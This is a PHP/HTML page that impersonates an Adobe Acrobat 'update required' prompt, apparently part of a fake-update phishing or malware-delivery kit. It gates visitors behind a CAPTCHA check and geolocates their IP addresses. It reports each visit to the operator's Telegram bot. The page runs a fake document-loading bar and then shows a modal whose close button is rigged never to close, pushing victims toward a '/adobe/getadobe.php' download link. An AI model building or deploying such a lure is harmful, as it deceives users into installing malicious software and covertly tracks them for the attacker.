<?php
session_start();

/**
 * 1. MANDATORY ACCESS CHECK
 * If the user hasn't passed the CAPTCHA, redirect back.
 */
if (empty($_SESSION['verified'])) {
    header("Location: /adobe/captcha.php");
    exit();
}

/**
 * 2. MOBILE REDIRECT ENGINE
 * This detects if the visitor is using a mobile device or tablet.
 * If detected, they are pushed to the /iPhone/ folder immediately.
 */
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$isMobile = preg_match('/(iPhone|iPod|iPad|Android|BlackBerry|IEMobile|Mobile)/i', $userAgent);

if ($isMobile) {
    header("Location: /adobe/iPhone/");
    exit();
}

/**
 * 3. LOGGING & ERROR CONFIGURATION
 * Silent error handling to prevent "Internal Server Error" white pages.
 */
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

/**
 * 4. TECHNICAL HELPER FUNCTIONS
 */

// Detects the real IP address, even through proxies or VPNs
function getClientIP() {
    $ip = '';
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]);
    } elseif (!empty($_SERVER['REMOTE_ADDR'])) {
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return filter_var($ip, FILTER_VALIDATE_IP) ? $ip : '';
}

// Identifies the specific browser type
function detectBrowser($userAgent) {
    $browser = "Unknown Browser";
    if (preg_match('/Chrome/i', $userAgent)) {
        $browser = "Chrome";
    } elseif (preg_match('/Firefox/i', $userAgent)) {
        $browser = "Firefox";
    } elseif (preg_match('/Safari/i', $userAgent) && !preg_match('/Chrome/i', $userAgent)) {
        $browser = "Safari";
    } elseif (preg_match('/Edge/i', $userAgent)) {
        $browser = "Edge";
    } elseif (preg_match('/MSIE|Trident/i', $userAgent)) {
        $browser = "Internet Explorer";
    }
    return $browser;
}

// Handles the Telegram notification dispatch
function sendTelegramMessage($message) {
    if (!file_exists('settings.php')) return false;
    
    try {
        $settings = include 'settings.php';
        if (!empty($settings) && isset($settings['telegram']) && $settings['telegram'] == "1" &&
            !empty($settings['bot_url']) && !empty($settings['chat_id'])) {
            
            $send = [
                'chat_id' => $settings['chat_id'],
                'text' => $message,
                'parse_mode' => 'HTML'
            ];
            
            $website = "https://api.telegram.org/{$settings['bot_url']}";
            $options = [
                'http' => [
                    'method' => 'POST',
                    'header' => 'Content-Type: application/x-www-form-urlencoded',
                    'content' => http_build_query($send)
                ]
            ];
            
            $context = stream_context_create($options);
            $result = @file_get_contents($website . '/sendMessage', false, $context);
            return ($result !== false);
        }
    } catch (Exception $e) {
        error_log("Telegram error: " . $e->getMessage());
    }
    return false;
}

/**
 * 5. VISITOR ANALYTICS & GEOLOCATION
 */
$ip = getClientIP();
$browser = detectBrowser($userAgent);
$referrer = $_SERVER['HTTP_REFERER'] ?? 'Direct visit';
$pageURL = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

$city = $country = $isp = $region = $timezone = "Unknown";

try {
    // Using ip-api for geographic data
    $resp = @file_get_contents("http://ip-api.com/json/" . $ip);
    $details = json_decode($resp, true);
    if ($details && $details['status'] != 'fail') {
        $city = $details['city'] ?? 'Unknown';
        $country = $details['country'] ?? 'Unknown';
        $isp = $details['isp'] ?? 'Unknown';
        $region = $details['regionName'] ?? 'Unknown';
        $timezone = $details['timezone'] ?? 'Unknown';
    }
} catch (Exception $e) {
    error_log("Location API failure");
}

/**
 * 6. SETTINGS & NOTIFICATION EXECUTION
 */
$settings = file_exists('settings.php') ? include 'settings.php' : [];

$message = "🔔 <b>DOMAIN ACCESS ALERT</b> 🔔\n\n";
$message .= "Someone has visited your Adobe Desktop Page!\n\n";
$message .= "👤 <b>Visitor Info</b>\n";
$message .= "IP: <code>$ip</code>\n";
$message .= "Location: $city, $country\n";
$message .= "ISP: $isp\n\n";
$message .= "🌐 <b>Technical</b>\n";
$message .= "Browser: $browser\n";
$message .= "Page: $pageURL\n";
$message .= "Time: " . date('Y-m-d H:i:s');

if (isset($settings['notify_on_visit']) && $settings['notify_on_visit']) {
    sendTelegramMessage($message);
}

// Log to file
if (isset($settings['log_visits']) && $settings['log_visits']) {
    $logEntry = date('Y-m-d H:i:s') . " | IP: $ip | Location: $city, $country | Browser: $browser\n";
    @file_put_contents('visits.log', $logEntry, FILE_APPEND);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <meta name="description" content="Adobe Acrobat update notification page" />
  <title>Adobe Acrobat - Update Required</title>
  <link rel="icon" type="image/x-icon" href="https://www.adobe.com/favicon.ico" />

  <style>
    :root {
      --adobe-blue: #1473e6;
      --adobe-blue-hover: #0d66d0;
      --text-main: #1e1e1e;
      --text-muted: #555555;
      --bg-page: #f5f5f5;
      --surface: #ffffff;
      --border: #dedede;
      --shadow: 0 18px 45px rgba(0, 0, 0, 0.14);
      --radius-lg: 12px;
      --radius-pill: 999px;
      --transition-fast: 180ms ease;
      --transition-medium: 320ms ease;
    }

    * {
      box-sizing: border-box;
    }

    html,
    body {
      min-height: 100%;
    }

    body {
      margin: 0;
      display: grid;
      place-items: center;
      min-height: 100vh;
      min-height: 100dvh;
      background:
        radial-gradient(circle at top, rgba(20, 115, 230, 0.06), transparent 34%),
        var(--bg-page);
      color: var(--text-main);
      font-family: "Adobe Clean", "Segoe UI", Roboto, Arial, sans-serif;
      -webkit-font-smoothing: antialiased;
      text-rendering: optimizeLegibility;
    }

    button,
    a {
      font: inherit;
    }

    .page-shell {
      position: relative;
      display: grid;
      place-items: center;
      width: 100%;
      min-height: 100vh;
      min-height: 100dvh;
      padding: 24px;
      overflow: hidden;
    }

    .system-dimmer {
      position: fixed;
      inset: 0;
      background: rgba(245, 245, 245, 0.54);
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
      opacity: 0;
      visibility: hidden;
      transition: opacity var(--transition-medium), visibility var(--transition-medium);
      z-index: 1;
    }

    .system-dimmer.is-visible {
      opacity: 1;
      visibility: visible;
    }

    .loader-card {
      position: absolute;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%);
      display: grid;
      justify-items: center;
      gap: 14px;
      text-align: center;
      color: var(--text-muted);
      transition: opacity var(--transition-medium), transform var(--transition-medium);
    }

    .loader-card.is-hidden {
      opacity: 0;
      transform: translate(-50%, -52%);
      pointer-events: none;
    }

    .pdf-icon {
      width: 68px;
      height: 68px;
      object-fit: contain;
    }

    .loader-title {
      margin: 0;
      font-size: 17px;
      font-weight: 500;
    }

    .progress-track {
      position: relative;
      width: min(240px, 70vw);
      height: 4px;
      overflow: hidden;
      border-radius: var(--radius-pill);
      background: #e4e4e4;
    }

    .progress-segment {
      position: absolute;
      inset-block: 0;
      left: 0;
      width: 0%;
      border-radius: inherit;
      background: var(--adobe-blue);
      transition: width 420ms ease;
    }

    .progress-meta {
      display: flex;
      justify-content: space-between;
      align-items: center;
      width: min(240px, 70vw);
      margin-top: -4px;
      color: #666666;
      font-size: 12px;
      line-height: 1.4;
    }

    .progress-percent {
      font-variant-numeric: tabular-nums;
      font-weight: 700;
      color: #444444;
    }

    .modal {
      position: relative;
      z-index: 2;
      width: min(500px, 92vw);
      overflow: hidden;
      border: 1px solid var(--border);
      border-radius: var(--radius-lg);
      background: var(--surface);
      box-shadow: var(--shadow);
      opacity: 0;
      visibility: hidden;
      transform: translateY(12px) scale(0.985);
      transition:
        opacity var(--transition-medium),
        transform var(--transition-medium),
        visibility var(--transition-medium);
    }

    .modal.is-active {
      opacity: 1;
      visibility: visible;
      transform: translateY(0) scale(1);
    }

    .modal-header {
      display: flex;
      align-items: center;
      justify-content: space-between;
      gap: 16px;
      min-height: 48px;
      padding: 10px 14px 10px 16px;
      border-bottom: 1px solid #eeeeee;
    }

    .brand-lockup {
      display: inline-flex;
      align-items: center;
      gap: 10px;
      min-width: 0;
      font-size: 14px;
      font-weight: 700;
      color: #333333;
    }

    .brand-lockup img {
      width: 19px;
      height: 19px;
      object-fit: contain;
      flex: 0 0 auto;
    }

    .close-button {
      display: inline-grid;
      place-items: center;
      width: 34px;
      height: 34px;
      border: 0;
      border-radius: 8px;
      background: transparent;
      color: #767676;
      cursor: pointer;
      transition: background var(--transition-fast), color var(--transition-fast);
    }

    .close-button:hover {
      background: #f1f1f1;
      color: #333333;
    }

    .close-button.active-click {
      background: #e0e0e0;
      transform: scale(0.92);
    }

    .close-button:focus-visible,
    .cta-button:focus-visible {
      outline: 3px solid rgba(20, 115, 230, 0.35);
      outline-offset: 2px;
    }

    .modal-body {
      padding: clamp(30px, 7vw, 44px) clamp(22px, 6vw, 34px) 36px;
      text-align: center;
    }

    .graphic-container {
      display: grid;
      place-items: center;
      margin-bottom: 20px;
    }

    .main-graphic {
      width: min(92px, 26vw);
      height: auto;
      opacity: 0.95;
    }

    .main-heading {
      margin: 0 0 12px;
      font-size: clamp(19px, 4.8vw, 22px);
      line-height: 1.25;
      font-weight: 750;
      letter-spacing: -0.01em;
      color: #111111;
    }

    .sub-message {
      max-width: 390px;
      margin: 0 auto 28px;
      color: var(--text-muted);
      font-size: 14px;
      line-height: 1.55;
    }

    .cta-button {
      display: inline-flex;
      align-items: center;
      justify-content: center;
      min-width: 176px;
      min-height: 42px;
      padding: 10px 32px;
      border: 0;
      border-radius: var(--radius-pill);
      background: var(--adobe-blue);
      color: #ffffff;
      font-weight: 700;
      font-size: 14px;
      text-decoration: none;
      cursor: pointer;
      transition:
        background var(--transition-fast),
        transform var(--transition-fast),
        box-shadow var(--transition-fast);
    }

    .cta-button:hover {
      background: var(--adobe-blue-hover);
      box-shadow: 0 8px 18px rgba(20, 115, 230, 0.22);
      transform: translateY(-1px);
    }

    .cta-button:active {
      transform: translateY(0);
      box-shadow: none;
    }

    .support-note {
      margin: 20px 0 0;
      color: #777777;
      font-size: 12px;
      line-height: 1.45;
    }

    .is-removed {
      display: none !important;
    }

    @media (prefers-reduced-motion: reduce) {
      *,
      *::before,
      *::after {
        scroll-behavior: auto !important;
        animation-duration: 0.001ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.001ms !important;
      }
    }

    @media (max-width: 420px) {
      .page-shell {
        padding: 16px;
      }

      .modal-header {
        padding-left: 14px;
      }

      .cta-button {
        width: 100%;
      }
    }
  </style>
</head>
<body>
  <main class="page-shell" aria-live="polite">
    <div class="system-dimmer" id="systemDimmer" aria-hidden="true"></div>

    <section class="loader-card" id="loaderUi" aria-label="Document preparation status">
      <img
        class="pdf-icon"
        src="https://images.icon-icons.com/886/PNG/96/file_pdf_download_icon-icons.com_68954.png"
        width="68"
        height="68"
        alt="PDF document icon"
      />
      <p class="loader-title" id="loaderTitle">Preparing document...</p>
      <div
        class="progress-track"
        id="progressTrack"
        role="progressbar"
        aria-label="Preparing document"
        aria-valuemin="0"
        aria-valuemax="100"
        aria-valuenow="0"
      >
        <div class="progress-segment" id="progressSegment"></div>
      </div>
      <div class="progress-meta" aria-hidden="true">
        <span id="progressStatus">Initializing</span>
        <span class="progress-percent" id="progressPercent">0%</span>
      </div>
    </section>

    <section
      class="modal"
      id="updateModal"
      role="dialog"
      aria-modal="true"
      aria-labelledby="modalTitle"
      aria-describedby="modalDescription"
      tabindex="-1"
    >
      <header class="modal-header">
        <div class="brand-lockup" aria-label="Adobe Acrobat">
          <img
            src="https://www.adobe.com/homepage/assets/svg/acrobat-pro.svg"
            width="19"
            height="19"
            alt=""
            aria-hidden="true"
          />
          <span>Adobe Acrobat</span>
        </div>

        <button class="close-button" id="closeModal" type="button" aria-label="Close update message">
          <span aria-hidden="true">&times;</span>
        </button>
      </header>

      <div class="modal-body">
        <div class="graphic-container" aria-hidden="true">
          <img
            class="main-graphic"
            src="https://www.adobe.com/homepage/assets/svg/acrobat-pro.svg"
            width="138"
            height="138"
            alt=""
          />
        </div>

        <h1 class="main-heading" id="modalTitle">Update required to view this document</h1>

        <p class="sub-message" id="modalDescription">
          This document was created with a newer version of Adobe Acrobat. Please update to the latest approved version to continue.
        </p>

        <!-- Replace this URL with the official Adobe-approved destination from your project brief. -->
        <a
          class="cta-button"
          href="/adobe/getadobe.php"
          rel="noopener noreferrer"
        >
          Update Adobe Acrobat
        </a>

        
      </div>
    </section>
  </main>

  <script>
    const loaderUi = document.getElementById("loaderUi");
    const loaderTitle = document.getElementById("loaderTitle");
    const progressTrack = document.getElementById("progressTrack");
    const progressSegment = document.getElementById("progressSegment");
    const progressStatus = document.getElementById("progressStatus");
    const progressPercent = document.getElementById("progressPercent");
    const dimmer = document.getElementById("systemDimmer");
    const modal = document.getElementById("updateModal");
    const closeModalButton = document.getElementById("closeModal");

    const loadingSteps = [
      { percent: 12, status: "Initializing", delay: 260 },
      { percent: 28, status: "Checking document", delay: 420 },
      { percent: 47, status: "Verifying compatibility", delay: 520 },
      { percent: 66, status: "Reading file metadata", delay: 460 },
      { percent: 84, status: "Preparing viewer", delay: 540 },
      { percent: 100, status: "Ready", delay: 380 }
    ];

    const setProgress = ({ percent, status }) => {
      progressSegment.style.width = `${percent}%`;
      progressPercent.textContent = `${percent}%`;
      progressStatus.textContent = status;
      progressTrack.setAttribute("aria-valuenow", String(percent));
      progressTrack.setAttribute("aria-valuetext", `${status}, ${percent}% complete`);

      if (percent >= 84) {
        loaderTitle.textContent = "Finalizing document...";
      }
    };

    const openModal = () => {
      loaderUi.classList.add("is-hidden");
      dimmer.classList.add("is-visible");
      modal.classList.add("is-active");
      modal.focus();

      window.setTimeout(() => {
        loaderUi.classList.add("is-removed");
      }, 340);
    };

    const closeModal = () => {
      // Simulate click feedback without closing modal
      closeModalButton.classList.add("active-click");
      setTimeout(() => {
        closeModalButton.classList.remove("active-click");
      }, 150);
    };

    const runLoader = async () => {
      for (const step of loadingSteps) {
        await new Promise((resolve) => window.setTimeout(resolve, step.delay));
        setProgress(step);
      }

      window.setTimeout(openModal, 320);
    };

    window.addEventListener("load", runLoader);
    closeModalButton.addEventListener("click", closeModal);
    dimmer.addEventListener("click", closeModal);

    document.addEventListener("keydown", (event) => {
      if (event.key === "Escape" && modal.classList.contains("is-active")) {
        closeModal();
      }
    });
  </script>
</body>
</html>
